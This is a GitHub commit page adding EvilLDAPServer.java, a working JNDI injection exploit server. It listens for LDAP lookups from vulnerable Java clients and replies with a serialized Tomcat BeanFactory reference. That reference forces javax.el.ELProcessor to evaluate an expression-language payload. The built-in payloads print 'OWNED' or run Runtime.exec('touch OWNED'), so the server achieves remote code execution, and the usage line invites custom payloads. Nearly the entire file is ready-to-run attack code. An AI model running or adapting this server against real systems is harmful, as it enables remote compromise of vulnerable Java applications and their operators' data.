Skip to content

Commit 6a38f6f

Browse files
committed
Working EvilLDAPServer
Not dockerized because lazy
1 parent 57f7543 commit 6a38f6f

File tree

1 file changed

+113
-0
lines changed

1 file changed

+113
-0
lines changed

EvilLDAPServer.java

+113
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,113 @@
1+
import javax.naming.StringRefAddr;
2+
3+
import org.apache.naming.ResourceRef;
4+
import java.io.ByteArrayOutputStream;
5+
import java.io.ObjectOutputStream;
6+
7+
import java.net.Inet6Address;
8+
9+
import javax.net.ServerSocketFactory;
10+
import javax.net.SocketFactory;
11+
import javax.net.ssl.SSLSocketFactory;
12+
13+
14+
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
15+
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
16+
import com.unboundid.ldap.listener.InMemoryListenerConfig;
17+
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
18+
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
19+
import com.unboundid.ldap.sdk.Entry;
20+
import com.unboundid.ldap.sdk.LDAPResult;
21+
import com.unboundid.ldap.sdk.ResultCode;
22+
23+
24+
//Gadgets credit: https://www.veracode.com/blog/research/exploiting-jndi-injections-java
25+
//
26+
//LDAP adapted from https://github.com/mbechler/marshalsec/ and
27+
//https://github.com/feihong-cs/JNDIExploit
28+
29+
30+
public class EvilLDAPServer {
31+
32+
33+
public static void main(String[] args) throws Exception {
34+
int port = 1389;
35+
String elpayload;
36+
37+
if (args.length == 2) {
38+
port = Integer.parseInt(args[1]);
39+
}
40+
41+
if (args.length > 0) {
42+
if (args[0].equals("echo")) {
43+
elpayload = "\"\".getClass().forName(\"java.lang.System\").getDeclaredField(\"out\").get(\"\".getClass().forName(\"java.lang.System\")).println(\"-------OWNED------\")";
44+
} else if (args[0].equals("touch")) {
45+
elpayload = "\"\".getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"touch OWNED\")";
46+
} else {
47+
System.out.println("Evil <echo|touch|CUSTOM_EL> [port]");
48+
return;
49+
}
50+
} else {
51+
System.out.println("Evil <echo|touch|CUSTOM_EL> [port]");
52+
return;
53+
}
54+
55+
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
56+
57+
config.setListenerConfigs(new InMemoryListenerConfig(
58+
"listener",
59+
Inet6Address.getByName("::"),
60+
port,
61+
ServerSocketFactory.getDefault(),
62+
SocketFactory.getDefault(),
63+
(SSLSocketFactory) SSLSocketFactory.getDefault()));
64+
65+
config.addInMemoryOperationInterceptor(new OperationInterceptor(elpayload));
66+
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
67+
System.out.println("Listening on all interfaces; port " + port);
68+
ds.startListening();
69+
}
70+
71+
private static class OperationInterceptor extends InMemoryOperationInterceptor {
72+
private String elpayload;
73+
public OperationInterceptor(String pl) {
74+
elpayload = pl;
75+
}
76+
77+
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
78+
String base = result.getRequest().getBaseDN();
79+
Entry e = new Entry(base);
80+
try {
81+
sendResult(result, base, e);
82+
}
83+
catch ( Exception e1 ) {
84+
e1.printStackTrace();
85+
}
86+
87+
}
88+
89+
public static byte[] serialize(Object ref) throws Exception {
90+
ByteArrayOutputStream out = new ByteArrayOutputStream();
91+
ObjectOutputStream objOut = new ObjectOutputStream(out);
92+
objOut.writeObject(ref);
93+
return out.toByteArray();
94+
}
95+
96+
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
97+
System.out.println("Send LDAP reference result for `" + base + "` - ELProcessor payload");
98+
e.addAttribute("javaClassName", "java.lang.String");
99+
100+
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
101+
ref.add(new StringRefAddr("forceString", "x=eval"));
102+
103+
ref.add(new StringRefAddr("x", elpayload));
104+
105+
e.addAttribute("javaSerializedData", serialize(ref));
106+
107+
result.sendSearchEntry(e);
108+
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
109+
110+
}
111+
}
112+
}
113+

0 commit comments

Comments
 (0)